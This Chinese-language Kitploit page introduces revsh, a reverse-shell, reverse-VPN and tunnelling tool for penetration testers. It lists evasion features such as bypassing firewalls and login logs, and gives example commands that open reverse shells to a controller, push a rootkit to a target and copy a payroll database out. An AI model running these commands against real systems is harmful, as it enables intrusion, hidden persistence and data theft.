Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
revsh — 具有终端支持、数据隧道和高级横向移动能力的反向Shell。 | Kitploit
工具/GitHubGitHub/emptymonkey/revsh
加密/解密工具网络映射IDS/IPS规避横向移动后渗透利用渗透测试命令与控制红队远程访问工具
GitHubemptymonkey/revsh

revsh

具有终端支持、数据隧道和高级横向移动能力的反向Shell。

查看仓库
469922年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

revsh

revsh 是一款用于建立带有终端支持的反向 Shell、用于高级横向移动的反向 VPN 以及任意数据隧道的工具。

新闻

  • 2018-08-09: 新版本发布。主要是错误/稳定性修复以及更好的 OpenSSL 1.1.0 构建文档。有关更新后的构建说明,请参阅下方的《安装》部分。

概述

什么是“反向 Shell”?

反向 Shell 是一种网络连接,可授予对远程主机的 Shell 访问权限。与 telnet 和 ssh 等其他远程登录工具不同,反向 Shell 由远程主机发起。这种从远程网络出站连接的技术能够规避仅配置为阻止入站连接的防火墙。

什么是“反向 VPN”?

revsh 能够在其加密隧道的两端附加虚拟以太网卡(tun/tap)。这些网卡可用于转发原始 IP 数据包或以太网帧。结合 Iptables NAT 规则或桥接真实以太网卡时,这使得操作员能够在目标机器网络中获得一个完全可路由的 IP 地址。本质上,这是一个完整的 VPN,它执行了回调到操作员的连接,以规避入站数据包过滤,并授予操作员完全的网络访问权限。(更多信息请参见 “Documentation/REVERSE_VPN.md”。)

什么是“绑定 Shell”?

绑定 Shell 是通过正常的正向网络连接提供的 Shell。revsh 同时支持反向 Shell 和绑定 Shell。要调用绑定 Shell,您可以在连接两端使用 -b 选项,或者将二进制文件作为 'bindsh' 调用。

我就不能用 netcat 吗?

建立反向 Shell 的技术很多,但这些方法不提供终端支持。revsh 允许反向 Shell 的连接通过伪终端进行中介,因此支持以下功能:

  • 作业控制
  • 控制字符处理(例如 Ctrl-C)
  • 自动补全
  • 支持需要控制 tty 的程序(例如 vi)
  • 窗口大小调整事件的处理

此外,revsh 还提供以下功能:

  • UTF-8 支持。
  • 绕过 utmp / wtmp。(不记录登录信息。)
  • 登录时处理 rc 文件 命令,便于脚本化。
  • 内置基于密钥认证的 OpenSSL 加密。
  • 按需支持匿名 Diffie-Hellman 加密。
  • 默认使用临时 Diffie-Hellman 加密。(现在拥有更多完美前向保密!)
  • 证书固定 以防范诱捕和中间人反制。
  • 用于远程进程自我终止的连接超时。
  • 用于不可预测自动重连的随机重试定时器。
  • 类似 netcat 的非交互式数据中继,用于文件传输。
  • 代理支持:点对点、SOCKS 4、SOCKS 4a 和 SOCKS 5。代理可双向使用,提供完全的灵活性。
  • TUN / TAP 支持,用于转发原始 IP 数据包 / 以太网帧。
  • 转义序列命令,用于杀死无响应节点或打印连接统计信息。

revsh 旨在作为渗透测试人员工具包中的辅助工具,通过加密隧道提供全套终端功能。

我可以在哪里使用 revsh?

revsh 是在 x86_64 Linux 上开发的。以下是一份简要的已使用过的架构/操作系统组合列表:

  • x86_64 Linux
  • i686 Linux
  • amd64 FreeBSD

(如果您已成功在其他平台上使用 revsh,请告知我,我会将其添加到列表中。)

使用说明

root@kitploit:~
empty@monkey:~$ revsh -h

控制端:	revsh -c [控制端选项] [共同选项] [地址[:端口]]
目标端:	revsh     [目标端选项] [共同选项] [地址[:端口]]

	地址		控制监听器的地址。		(默认为 "0.0.0.0"。)
	端口		控制监听器的端口。		(默认为 "2200"。)

控制端选项:
	-c		以“命令与控制”模式运行。		(默认为目标端模式。)
	-a		启用匿名 Diffie-Hellman 模式。		(默认为临时 Diffie-Hellman。)
	-d KEYS_DIR	引用备用目录中的密钥。		(默认为 "~/.revsh/keys/"。)
	-f RC_FILE	引用备用的 rc 文件。		(默认为 "~/.revsh/rc"。)
	-s SHELL	将 SHELL 作为远程 Shell 调用。		(默认为 "/bin/bash"。)
	-F LOG_FILE	将一般使用和错误记录到 LOG_FILE。	(未设置默认值。)

目标端选项:
	-t 秒		将连接超时设置为 秒 秒。	(默认为 "3600"。)
	-r 秒1,秒2	将重试时间设置为 秒1 秒,或	(默认为 "600,1200"。)
			在 秒1 到 秒2 范围内随机。

共同选项:
	-k		以保持活动模式运行。
			节点不会正常退出,也不会超时。
	-L [本地主机:]本地端口:远程主机:远程端口
			静态套接字转发,本地监听器
			在 本地主机:本地端口 转发到 远程主机:远程端口。
	-R [远程主机:]远程端口:本地主机:本地端口
			静态套接字转发,远程监听器
			在 远程主机:远程端口 转发到 本地主机:本地端口。
	-D [本地主机:]本地端口
			动态套接字转发,本地监听器
			在 本地主机:本地端口。			(Socks 4, 4a 和 5。仅 TCP 连接。)
	-B [远程主机:]远程端口
			动态套接字转发,远程
			监听器在 本地主机:本地端口。			(Socks 4, 4a 和 5。仅 TCP 连接。)
	-x		禁用代理自动设置。		(默认:代理 D2280 和 tun/tap 设备。)
	-b		以绑定 Shell 模式启动。		(默认为反向 Shell 模式。)
			-b 标志必须在两端都使用。
	-n		非交互式 netcat 风格数据中继。		(默认为带远程 tty 的交互式。)
			无 tty。适用于复制文件。
	-v		详细模式。-vv 和 -vvv 增加详细程度。
	-V		打印程序及协议版本。
	-h		打印此帮助信息。
	-e		打印一些使用示例。

安装

首先,您需要从源代码构建 OpenSSL。(请参见下面的 注意。)

root@kitploit:~
git clone https://github.com/openssl/openssl.git
cd openssl/
./config no-shared -static	# 这些选项是为了构建针对 OpenSSL 的静态应用程序所必需的。
make && make test	# 我们跳过 "make install",以免与系统默认的 OpenSSL 冲突。我们将在此树中针对刚刚编译的 OpenSSL 构建 _revsh_。
cd ..

现在构建 revsh。

root@kitploit:~
git clone https://github.com/emptymonkey/revsh.git
cd revsh
vi config.h        # 设置适合您情况的新默认值。
vi Makefile        # 检查选定的构建环境是否是您想要的。(默认情况下可能已经是了。)
make               # 这*可能*需要很长时间,但通常不会。
make install
vi ~/.revsh/rc     # 添加您喜欢的启动命令,真正自定义远程 Shell 的体验。
revsh -h

注意: 随着 OpenSSL 1.1.0 的发布,OpenSSL 需要从源代码构建,以便在静态链接的二进制文件中使用。针对大多数 Linux 发行版(包括 Kali)附带的 OpenSSL 库构建静态链接的二进制文件将不起作用。(如果它能够构建,也将会段错误。)

示例

控制主机示例 IP:192.168.0.42
目标主机示例 IP:192.168.0.66

root@kitploit:~
默认端口 '2200' 的交互示例:
	控制端:	revsh -c
	目标端:	revsh 192.168.0.42

非标准端口 '443' 的交互示例:
	控制端:	revsh -c 192.168.0.42:443
	目标端:	revsh 192.168.0.42:443

绑定 Shell 示例:
	目标端:	revsh -b
	控制端:	revsh -c -b 192.168.0.66

非交互式文件上传示例:
	控制端:	cat ~/bin/rootkit | revsh -c -n
	目标端:	revsh 192.168.0.42 > ./totally_not_a_rootkit

非交互式文件下载示例:
	控制端:	revsh -c -n >payroll_db.tar
	目标端:	cat payroll_db.tar | revsh 192.168.0.42

通过现有隧道的非交互式文件下载示例:
	控制端:	revsh -c -n 127.0.0.1:2291 >payroll_db.tar
	目标端:	cat payroll_db.tar | revsh 127.0.0.1:2290
下载工具